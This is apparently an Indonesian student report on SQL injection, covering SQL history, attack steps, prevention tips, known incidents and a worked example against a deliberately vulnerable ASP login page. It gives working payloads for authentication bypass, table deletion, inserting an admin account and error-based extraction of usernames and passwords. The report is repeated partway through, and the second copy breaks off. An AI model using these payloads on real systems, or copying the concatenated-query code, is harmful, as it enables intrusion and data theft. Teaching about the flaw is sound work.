PEMBAHASAN
1. Pengertian SQL injection
SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL Injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.
SQL injection merupakan salah satu kelemahan yang paling dahsyat untuk dampak bisnis, karena dapat menyebabkan pembongkaran semua informasi yang sensitif yang tersimpan dalam sebuah aplikasi database, termasuk informasi berguna seperti username, password, nama, alamat, nomor telepon, dan rincian kartu kredit. Jadi SQL injection adalah kelemahan yang diterjadi ketika penyerang mampu mengubah Structured Query Language (SQL) di dalam database. Dengan mempengaruhi database, penyerang dapat memanfaatkan sintaks dan kemampuan dari SQL itu sendiri, serta kekuatan dan fleksibilitas yang mendukung fungsi database dan fungsi sistem operasi yang hanya dilakukan dalam database.
2. Sejarah SQL Injection
Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang membahas tentang ide pembuatan basis data relasional pada bulan Juni1970. Artikel ini juga membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query Language). Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai penamaan SEQUEL, IBM pun mengubahnya menjadi SQL.
Di akhir tahun 1970-an, muncul perusahaan bernama Oracle yang membuat server basis data populer yang bernama sama dengan nama perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga saat ini menjadi standar de facto bahasa dalam manajemen basis data. Standarisasi SQL dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989 kemudian diperbaiki lagi pada tahun 1992. Versi terakhir dikenal dengan SQL92.
Pada tahun 1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan implementasi mereferensi pada SQL92. Saat ini sebenarnya tidak ada server basis data yang 100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-masing. Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD), namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling umum yang dapat digunakan pada kebanyakan SMBD.
3. Cara Kerja SQL Injection
Aplikasi web menjadi lebih canggih dan semakin teknis yang kompleks. Mulai dari internet dinamis dan portal intranet, seperti e-commerce dan pasangan extranet, untuk HTTP dikirimkan oleh aplikasi perusahaan seperti sistem manajemen dokumen dan ERP aplikasi. Sifat aplikasi web dengan desain yang beragam fitur dan kemampuan web tersebut untuk menyusun, memproses, dan menyerbarkan informasi melalui internet atau dari dalam intranet membuat aplikasi web tersebut menjadi target yang populer untu diserang.
Aplikasi web menjadi target penyerangan juga disebabkan karena keamanan jaringan pada pasar teknologi telah jatuh tempo dan ada sedikit peluang untuk menembus sistem informasi melalui kelemahan networkbased, hacker semakin banyak yang berpindah fokus mereka untuk mencoba mengkompromi aplikasi tersebut.
SQL injection merupakan serangan dimana kode SQL dimasukkan atau ditambahkan ke dalam aplikasi/ user input parameter yang kemudian diteruskan ke SQL server back-end untuk parsing dan eksekusi. Setiap prosedur yang membangun pernyataan SQL berpotensi untuk mudah terserang. Bentuk injeksi utama SQL terdiri dari penyisipan langsung kode ke dalam parameter yang digabungkan dengan perintah SQL dan kemudian dieksekusi.
Sebuah serangan langsung paling sedikit menyuntikan kode ke dalam string yang ditujukan ke penyimpanan di dalam tabel atau sebagai metadata. Ketika string yang tersimpan akhirnya digabungkan ke dalam perintah SQL dinamis, kode tersebut akan dieksekusi. Ketika aplikasi web gagal untuk membersihkan paramater dengan benar dilewatkan ke pernyataan SQL yang dibuat secara dinamis (bahkan ketika menggunakan teknik parameterisasi) ini memungkinkan untuk seorang penyerang untuk mengubah mengubah konstruksi back-end SQL.
Ketika seorang penyerang dapat memodifikasi pernyataan SQL, pernyataan tersebut akan dieksekusi dengan hak yang sama dengan aplikasi pengguna, saat menggunakan server SQL untuk mengeksekusi perintah yang berinteraksi dengan sistem operasi, proses akan berjalan dengan hak akses yang sama dengan komponen yang mengeksekusi perintah (misalnya database server, aplikasi server, atau web server).
4. Langkah-langkah SQL Injection
a. Tes Vulnerabilitas
Pengujian atau tes ini perlu dilakukan untuk mengetahui apakah sebuah situs web memiliki celah keamanan atau tidak untuk dilakukan SQL Injection.
Salah satu karakter yang sering digunakan untuk melakukan vulnerabilitas adalah pemakaian karakter kutip tunggal (‘). Sebagai contoh misal situs web target adalah http://www.gue.com/product.php?id=3’
Maka untuk melakukan pengujian, penulisan kutip dituliskan setelah angka 3.
b. Menentukan Jumlah Kolom
Penentuan jumlah kolom ini perlu dilakukan karena kita perlu mengetahui kolom mana dari sebuah tabel yang bisa dimanfaatkan. Hal ini bertujuan supaya kita bisa memasukkan perintah SQL Injection pada lokasi yang tepat. Sebab kalau kita memasukkan di tempat yang salah maka kita tidak akan memperoleh apapun. Untuk melakukan hal ini agak bersifat “trial and error”, dimana perintah yang digunakan adalah ORDER BY.
c. Mencari Kolom yang Vunerable
Selanjutnya adalah mencari kolom yang memiliki celah untuk dilakukan SQL Injection. Istilah lainnya adalah angka error.
d. Menentukan Nama Database
Pada dasarnya ini bukanlah sesuatu yang penting tapi akan lebih baik agar bisa dimanfaatkan untuk kepentingan lain
e. Mencari Nama Kolom
f. Menampilkan Isi data
5. Mencegah SQL Injection
1. Batasi panjang input box dengan cara membatasi di kode program
2. Administrator web haruslah tegas menolak user yang menginput karakter selain abjad dan angka
3. Untuk nilai numerik, konversilah menjadi integer
4. Filter input yang dimasukkan user
5. Jika memungkinkan, buatlah daftar karakter yang boleh digunakan
6. Batasi karakter yang boleh diinput oleh pengunjung situs web anda
7. Matikan atau sembunyikan pesan – pesan error yang keluar dari SQL Server yang berjalan
8. Kalau bisa, hilangkan show error mysql
9. Bagi yang menggunakan CMS, sangat disarankan untuk mengupdate CMS
6. Contoh Kasus yang menggunakan SQL Injection
1. 2004 : Dani Firmansyah membobol situs (hacker) di Pusat Tabulasi
Nasional Pemilu Komisi Pemilihan Umum (TNP KPU).
2. 11 Mei 2011 : Andi Kurniawan ( Mahasiswa STIMIK Amikom Jogjakarta ) melakukan tindakan hacking di website Mabes Polri
3. Februari 2002 : Jeremiah Jacks membobol guess.com .
4. Juli 2008 : Kaspersky Malaysia telah dibobol oleh seseorang dari Turki yang dikenal sebagai m0sted.
5. November 2008 :British Royal Navy website telah dibobol oleh Seseorang Rumania dengan Code Name TinKode
6. 5 Februari 2011 : HBGary telah dirusak oleh group hacker yang menamakan diri LulzSec.
7. Contoh SQL Injection
SQL Injection dapat terjadi ketika seseorang dapat memasukkan serangkaian perintah SQL dalam query dengan memanipulasi data pada aplikasi database. Kita akan membahas beberapa teknik SQL injection yang umum ditemukan pada Microsoft Internet Information Server/Active Server Pages/SQL Server platform. Terdapat beberapa cara dimana SQL dapat diinjeksikan pada sebuah aplikasi.
Contoh dari SQL statement :
select id, forename, surname from authors
Perintah ini akan menghasilkan kolom 'id', 'forename' dan 'surname' dari tabel 'authors', dengan menghasilkan semua baris pada setiap kolom yang relevan pada tabel tersebut.
Hasil yang diinginkan dapat lebih spesifik dengan menyebutkan 'author' seperti di bawah ini :
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Hal utama yang perlu dicatat adalah kita telah memiliki batas-batas dalam pencarian yakni dengan menyebutkan 'john' sebagai forename dan 'smith' sebagai surename. Seakan-akan 'forename' and 'surname' field telah didapatkan dari user yang memberikan input.
Seorang attacker dapat menginjeksikan beberapa SQL dalam query ini dengan memasukkan nilai pada aplikasi seperti dibawah ini :
Forename: jo'hn
Surname: smith
Query akan menjadi seperti ini :
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
Ketika database menjalankan query,akan menghasilkan suatu kesalahan seperti yang ditunjukkan berikut ini :
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
Ini disebabkan karena dimasukkannya karakter single quote (tanda petik satu) yang menyatakan breaks out. Selanjutnya database akan mencoba untuk mengeksekusi 'hn' dan gagal juga.
Jika attacker menspesifikasi data seperti ini :
Forename: jo'; drop table authors--
Surname:
Akan menyebakan tabel penulis akan dihapus. Ini dapat memberikan gambaran bahwa beberapa metoda seperti membuang single quote dari input atau dengan mengabaikan mereka dalam beberapa hal dapat memecahkan kasus ini. Tapi tidak semua itu benar, karena masih terdapat beberapa kesulitan dalam aplikasinya. Pertama, tidak semua user memasukkan data bertipe string. Jika user dapat memilih author dengan 'id'(yang biasanya berupa angka), kita akan memiliki query seperti di bawah ini :
select id, forename, surname from authors where id=1234
Pada siatuasi seperti ini seorang attacker dapat dengan sederhana menambahkan perintah SQL pada akhir dari input yang berupa angka. Beberapa delimiter juga digunakan pada dialek(perintah khusus) SQL lainnya, seperti pada Microsoft Jet DBMS, tanggal dapat diakhiri dengan karakter '#' character. Kedua, mengabaikan single quote tidak permasalahan yang gampang.
Kita akan mengilustrasikan kasus di atas lebih jauh lagi dengan menggunakan Active Server Pages (ASP) untuk 'login' , dengan mengakses SQL Server database dan mencoba untuk masuk dengan autentifikasi yang tidak mungkin rasanya terjadi.
Berikut ini adalah kode dari halaman 'form' page, dimana user akan memasukkan username dan password :
Login Page
Username:
Page 4
width=100>
Password:
Kode untuk 'process_login.asp' :
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
AKSES ANDA GAGAL!!hehehe
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
AKSES DIPERSILAHKAN...
<% Response.write(rso("Username"));
Response.write( "
" ); Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
Poin terpenting disini adalah bagian dari 'process_login.asp' dengan query string :
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
Jika user memasukkan hal berikut ini :
Username: '; drop table users--
Password:
Tabel user akan terhapus, dan akan memberikan kesempatan sehingga semua user dapat mengakses ke dalam database. Kejadiannya adalah sbb :
• Karakter ';' menandakan akhir dari sebuah query dan awalan dari query yang lainnya.
• Karakter '--' adalah single line comment dalam Transact-SQL. Karakter '--' pada akhir dari kolom username dibutuhkan agar pada bagian ini query tidak menimbulkan erro pada waktu dijalankan.
Attacker dapat log on (masuk) sebagai siapa saja, seakan-akan dia mengetahui username dengan memberikan input sbb :
Username: admin'--
Attacker dapat juga log on sebagai user yang pertama pada tabel 'user' dengan menggunakan input sbb :
Username: ' or 1=1--
Attacker juga dapat log in seakan-akan terdapat user yang sebenarnya tidak ada di database dengan memasukkan input sbb :
Username: ' union select 1, 'fictional_user', 'some_password', 1--
Ini disebabkan karena aplikasi yang kita buat percaya bahwa baris yang konstan dispesifikasikan oleh attacker adalah bagian perintah yang terdapat dalam database itu sendiri.
//------- III Mengolah Informasi dari Error Messages
Untuk memanipulasi data dalam database seorang attacker harus dapat memahami struktur dari database dan tabel. Contoh, tabel 'user' yang kita buat dengan perintah di bawah ini :
create table users
( id int,
username varchar(255),
password varchar(255),
privs int
)
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
a. Mengetahui Nama dari Tabel dan Kolom
Seorang user sepertinya tidak mungkin dapat memasukkan account untuk dirinya sendiri., tanpa mengatahui struktur dari 'user' tabel. Ataupun jika dia sedang beruntung mungkin 'tabel_privs' tidak dihapus dan dapat dimanfaatkan sebaik mungkin. Untuk seorang attacker error message yang dikembalikan dari aplikasi (biasanya ASP mengembalikan)
attacker dapat mengetahui struktur dari database dan membaca setiap informasi dari account ASP yang sedang digunakan untuk melakukan koneksi ke SQL Server.
Pertama attacker ingin membuat nama tabel dan field tempat query beroperasi. Untuk melakukan ini attacker dapat menggunakan 'having' clause dari 'select' statement:
Username: ' having 1=1--
Hal ini menyebabkan error sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Sehingga attacker mengetahui nama tabel dan kolom pertama dari query diatas.
Mereka dapat melanjutkan pada kolom berikutnya dengan menggunankan perintah sebagai berikut :
Username: ' group by users.id having 1=1--
Hal ini menyebabkan error sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Akhirnya attacker sampai pada username sbb :
Username : ' group by users.id, users.username, users.password, users.privs having 1=1--
Hal di atas tidak menimbulkan error. Pernyataan tersebut sama dengan query sbb :
select * from users where username = ''
b. Mengetahui Tipe dari Kolom
Hal tersebut akan lebih bagus jika dia dapat mengetahui tipe dari setiap kolom. Hal ini dapat diperoleh dengan cara sebagai berikut :
Username: ' union select sum(username) from users--
Hal di atas menimbulkan error message sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
Informasi tersebut menyatakan bahwa tabel username memiliki tipe varchar. Berikutnya kita coba mengetahui tipe dari kolom lainnya.
Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Tipe dari kolom id adalah numeric.
Kita dapat menggunakan cara ini untuk mengetahui tipe dari semua kolom pada tabel yang terdapat di dalam database.
Attacker dapat menggunakan insert query :
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Perkembangan teknik dari SQL injection tidak berhenti sampai di sini. Attacker dapat mengambil keuntungan dari error message untuk mendapatkan informasi yang berhubungan dengan database tersebut.
Attacker dapat mempergunakan query berikut ini untuk mendapatkan bentuk-bentuk umum dari error message:
select * from master..sysmessages
Teknik di bawah ini dipergunakan untuk membaca harga pada tabel dalam database : Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
Attacker berusaha untuk mengkonversikan konstanta '@@version' ke dalam bentuk interger karena kolom pertama pada tabel 'user' bertipe interger.
Attacker dapat membaca username pada tabel 'user' dengan cara berikut ini :
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Hal ini akan mengecilkan daerah pencarian karena username yang dibutuhkan lebih besar dari 'a' dan mengkonversikannya ke dalam interger :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
Sehingga sekarang attacker akan mengetahui acoount dari 'admin' yang ada dalam database. Sekarang dia dapat mengetahui informasi dari admin tersebut dengan menggunakan klausa 'where' :
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Ketika attacker dapat mengetahui username, maka dia akan terus untuk mendapatkan password-nya :
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Teknik yang lebih indah lagi adalah dengan merangkai semua username dan password pada single string dan merubahnya pada bentuk interger. Tapi hal ini cukup susah dan belum berhasil saya lakukan
8. Kesimpulan
1. SQL kependekan dari Structured Query Language, bahasa yang sering dipergunakan untuk mengelola database relasional, sehingga banyak digunakan dalam aplikasi sistem database karena berdasarkan ANSI.
2. SQL injection merupakan suatu kegiatan yang menipu query dari database, sehingga seseorang dapat mengetahui dan mendapatkan informasi yang terdapat di sana. Praktek seperti ini merupakan ilegal jika kita melihat dari sisi sistem, tapi adakalanya berguna,sehingga itu semua tergantung niat dari yang melakukannya.
3. Seorang attacker dapat memanfaatkan pesan error yang dikirimkan server ketika dia memberikan query-query ilegal untuk mendapatkan nama dan tipe dari kolom pada tabel dalam suatu database
4. Terdapat 3 jenis serangan SQL injection :
a. Authorization Bypass.
Contohnya :
Username: 'OR "='
Password: 'OR "='
Masukan diatas berarti kita telah memberikan query sbb :
SELECT username FROM users where Username = "OR "=" AND password = "OR "="
b. Penggunaan perintah SELECT.
c. Penggunaan perintah INSERT.
9. Daftar Pustaka
1. http://packetstormsecurity.org
2. http://securityfocus.com
3. http://jasakom.com
4. http://www.binushacker.net
5. http://www.appsecinc.com
6. http://www.sqlsecurity.com
1. Pengertian SQL injection
SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL Injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.
SQL injection merupakan salah satu kelemahan yang paling dahsyat untuk dampak bisnis, karena dapat menyebabkan pembongkaran semua informasi yang sensitif yang tersimpan dalam sebuah aplikasi database, termasuk informasi berguna seperti username, password, nama, alamat, nomor telepon, dan rincian kartu kredit. Jadi SQL injection adalah kelemahan yang diterjadi ketika penyerang mampu mengubah Structured Query Language (SQL) di dalam database. Dengan mempengaruhi database, penyerang dapat memanfaatkan sintaks dan kemampuan dari SQL itu sendiri, serta kekuatan dan fleksibilitas yang mendukung fungsi database dan fungsi sistem operasi yang hanya dilakukan dalam database.
2. Sejarah SQL Injection
Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang membahas tentang ide pembuatan basis data relasional pada bulan Juni1970. Artikel ini juga membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query Language). Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai penamaan SEQUEL, IBM pun mengubahnya menjadi SQL.
Di akhir tahun 1970-an, muncul perusahaan bernama Oracle yang membuat server basis data populer yang bernama sama dengan nama perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga saat ini menjadi standar de facto bahasa dalam manajemen basis data. Standarisasi SQL dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989 kemudian diperbaiki lagi pada tahun 1992. Versi terakhir dikenal dengan SQL92.
Pada tahun 1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan implementasi mereferensi pada SQL92. Saat ini sebenarnya tidak ada server basis data yang 100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-masing. Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD), namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling umum yang dapat digunakan pada kebanyakan SMBD.
3. Cara Kerja SQL Injection
Aplikasi web menjadi lebih canggih dan semakin teknis yang kompleks. Mulai dari internet dinamis dan portal intranet, seperti e-commerce dan pasangan extranet, untuk HTTP dikirimkan oleh aplikasi perusahaan seperti sistem manajemen dokumen dan ERP aplikasi. Sifat aplikasi web dengan desain yang beragam fitur dan kemampuan web tersebut untuk menyusun, memproses, dan menyerbarkan informasi melalui internet atau dari dalam intranet membuat aplikasi web tersebut menjadi target yang populer untu diserang.
Aplikasi web menjadi target penyerangan juga disebabkan karena keamanan jaringan pada pasar teknologi telah jatuh tempo dan ada sedikit peluang untuk menembus sistem informasi melalui kelemahan networkbased, hacker semakin banyak yang berpindah fokus mereka untuk mencoba mengkompromi aplikasi tersebut.
SQL injection merupakan serangan dimana kode SQL dimasukkan atau ditambahkan ke dalam aplikasi/ user input parameter yang kemudian diteruskan ke SQL server back-end untuk parsing dan eksekusi. Setiap prosedur yang membangun pernyataan SQL berpotensi untuk mudah terserang. Bentuk injeksi utama SQL terdiri dari penyisipan langsung kode ke dalam parameter yang digabungkan dengan perintah SQL dan kemudian dieksekusi.
Sebuah serangan langsung paling sedikit menyuntikan kode ke dalam string yang ditujukan ke penyimpanan di dalam tabel atau sebagai metadata. Ketika string yang tersimpan akhirnya digabungkan ke dalam perintah SQL dinamis, kode tersebut akan dieksekusi. Ketika aplikasi web gagal untuk membersihkan paramater dengan benar dilewatkan ke pernyataan SQL yang dibuat secara dinamis (bahkan ketika menggunakan teknik parameterisasi) ini memungkinkan untuk seorang penyerang untuk mengubah mengubah konstruksi back-end SQL.
Ketika seorang penyerang dapat memodifikasi pernyataan SQL, pernyataan tersebut akan dieksekusi dengan hak yang sama dengan aplikasi pengguna, saat menggunakan server SQL untuk mengeksekusi perintah yang berinteraksi dengan sistem operasi, proses akan berjalan dengan hak akses yang sama dengan komponen yang mengeksekusi perintah (misalnya database server, aplikasi server, atau web server).
4. Langkah-langkah SQL Injection
a. Tes Vulnerabilitas
Pengujian atau tes ini perlu dilakukan untuk mengetahui apakah sebuah situs web memiliki celah keamanan atau tidak untuk dilakukan SQL Injection.
Salah satu karakter yang sering digunakan untuk melakukan vulnerabilitas adalah pemakaian karakter kutip tunggal (‘). Sebagai contoh misal situs web target adalah http://www.gue.com/product.php?id=3’
Maka untuk melakukan pengujian, penulisan kutip dituliskan setelah angka 3.
b. Menentukan Jumlah Kolom
Penentuan jumlah kolom ini perlu dilakukan karena kita perlu mengetahui kolom mana dari sebuah tabel yang bisa dimanfaatkan. Hal ini bertujuan supaya kita bisa memasukkan perintah SQL Injection pada lokasi yang tepat. Sebab kalau kita memasukkan di tempat yang salah maka kita tidak akan memperoleh apapun. Untuk melakukan hal ini agak bersifat “trial and error”, dimana perintah yang digunakan adalah ORDER BY.
c. Mencari Kolom yang Vunerable
Selanjutnya adalah mencari kolom yang memiliki celah untuk dilakukan SQL Injection. Istilah lainnya adalah angka error.
d. Menentukan Nama Database
Pada dasarnya ini bukanlah sesuatu yang penting tapi akan lebih baik agar bisa dimanfaatkan untuk kepentingan lain
e. Mencari Nama Kolom
f. Menampilkan Isi data
5. Mencegah SQL Injection
1. Batasi panjang input box dengan cara membatasi di kode program
2. Administrator web haruslah tegas menolak user yang menginput karakter selain abjad dan angka
3. Untuk nilai numerik, konversilah menjadi integer
4. Filter input yang dimasukkan user
5. Jika memungkinkan, buatlah daftar karakter yang boleh digunakan
6. Batasi karakter yang boleh diinput oleh pengunjung situs web anda
7. Matikan atau sembunyikan pesan – pesan error yang keluar dari SQL Server yang berjalan
8. Kalau bisa, hilangkan show error mysql
9. Bagi yang menggunakan CMS, sangat disarankan untuk mengupdate CMS
6. Contoh Kasus yang menggunakan SQL Injection
1. 2004 : Dani Firmansyah membobol situs (hacker) di Pusat Tabulasi
Nasional Pemilu Komisi Pemilihan Umum (TNP KPU).
2. 11 Mei 2011 : Andi Kurniawan ( Mahasiswa STIMIK Amikom Jogjakarta ) melakukan tindakan hacking di website Mabes Polri
3. Februari 2002 : Jeremiah Jacks membobol guess.com .
4. Juli 2008 : Kaspersky Malaysia telah dibobol oleh seseorang dari Turki yang dikenal sebagai m0sted.
5. November 2008 :British Royal Navy website telah dibobol oleh Seseorang Rumania dengan Code Name TinKode
6. 5 Februari 2011 : HBGary telah dirusak oleh group hacker yang menamakan diri LulzSec.
7. Contoh SQL Injection
SQL Injection dapat terjadi ketika seseorang dapat memasukkan serangkaian perintah SQL dalam query dengan memanipulasi data pada aplikasi database. Kita akan membahas beberapa teknik SQL injection yang umum ditemukan pada Microsoft Internet Information Server/Active Server Pages/SQL Server platform. Terdapat beberapa cara dimana SQL dapat diinjeksikan pada sebuah aplikasi.
Contoh dari SQL statement :
select id, forename, surname from authors
Perintah ini akan menghasilkan kolom 'id', 'forename' dan 'surname' dari tabel 'authors', dengan menghasilkan semua baris pada setiap kolom yang relevan pada tabel tersebut.
Hasil yang diinginkan dapat lebih spesifik dengan menyebutkan 'author' seperti di bawah ini :
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Hal utama yang perlu dicatat adalah kita telah memiliki batas-batas dalam pencarian yakni dengan menyebutkan 'john' sebagai forename dan 'smith' sebagai surename. Seakan-akan 'forename' and 'surname' field telah didapatkan dari user yang memberikan input.
Seorang attacker dapat menginjeksikan beberapa SQL dalam query ini dengan memasukkan nilai pada aplikasi seperti dibawah ini :
Forename: jo'hn
Surname: smith
Query akan menjadi seperti ini :
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
Ketika database menjalankan query,akan menghasilkan suatu kesalahan seperti yang ditunjukkan berikut ini :
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
Ini disebabkan karena dimasukkannya karakter single quote (tanda petik satu) yang menyatakan breaks out. Selanjutnya database akan mencoba untuk mengeksekusi 'hn' dan gagal juga.
Jika attacker menspesifikasi data seperti ini :
Forename: jo'; drop table authors--
Surname:
Akan menyebakan tabel penulis akan dihapus. Ini dapat memberikan gambaran bahwa beberapa metoda seperti membuang single quote dari input atau dengan mengabaikan mereka dalam beberapa hal dapat memecahkan kasus ini. Tapi tidak semua itu benar, karena masih terdapat beberapa kesulitan dalam aplikasinya. Pertama, tidak semua user memasukkan data bertipe string. Jika user dapat memilih author dengan 'id'(yang biasanya berupa angka), kita akan memiliki query seperti di bawah ini :
select id, forename, surname from authors where id=1234
Pada siatuasi seperti ini seorang attacker dapat dengan sederhana menambahkan perintah SQL pada akhir dari input yang berupa angka. Beberapa delimiter juga digunakan pada dialek(perintah khusus) SQL lainnya, seperti pada Microsoft Jet DBMS, tanggal dapat diakhiri dengan karakter '#' character. Kedua, mengabaikan single quote tidak permasalahan yang gampang.
Kita akan mengilustrasikan kasus di atas lebih jauh lagi dengan menggunakan Active Server Pages (ASP) untuk 'login' , dengan mengakses SQL Server database dan mencoba untuk masuk dengan autentifikasi yang tidak mungkin rasanya terjadi.
Berikut ini adalah kode dari halaman 'form' page, dimana user akan memasukkan username dan password :
Login
Username:
Page 4
width=100>
Password:
Kode untuk 'process_login.asp' :
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<% Response.write(rso("Username"));
Response.write( "
" ); Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
Poin terpenting disini adalah bagian dari 'process_login.asp' dengan query string :
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
Jika user memasukkan hal berikut ini :
Username: '; drop table users--
Password:
Tabel user akan terhapus, dan akan memberikan kesempatan sehingga semua user dapat mengakses ke dalam database. Kejadiannya adalah sbb :
• Karakter ';' menandakan akhir dari sebuah query dan awalan dari query yang lainnya.
• Karakter '--' adalah single line comment dalam Transact-SQL. Karakter '--' pada akhir dari kolom username dibutuhkan agar pada bagian ini query tidak menimbulkan erro pada waktu dijalankan.
Attacker dapat log on (masuk) sebagai siapa saja, seakan-akan dia mengetahui username dengan memberikan input sbb :
Username: admin'--
Attacker dapat juga log on sebagai user yang pertama pada tabel 'user' dengan menggunakan input sbb :
Username: ' or 1=1--
Attacker juga dapat log in seakan-akan terdapat user yang sebenarnya tidak ada di database dengan memasukkan input sbb :
Username: ' union select 1, 'fictional_user', 'some_password', 1--
Ini disebabkan karena aplikasi yang kita buat percaya bahwa baris yang konstan dispesifikasikan oleh attacker adalah bagian perintah yang terdapat dalam database itu sendiri.
//------- III Mengolah Informasi dari Error Messages
Untuk memanipulasi data dalam database seorang attacker harus dapat memahami struktur dari database dan tabel. Contoh, tabel 'user' yang kita buat dengan perintah di bawah ini :
create table users
( id int,
username varchar(255),
password varchar(255),
privs int
)
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
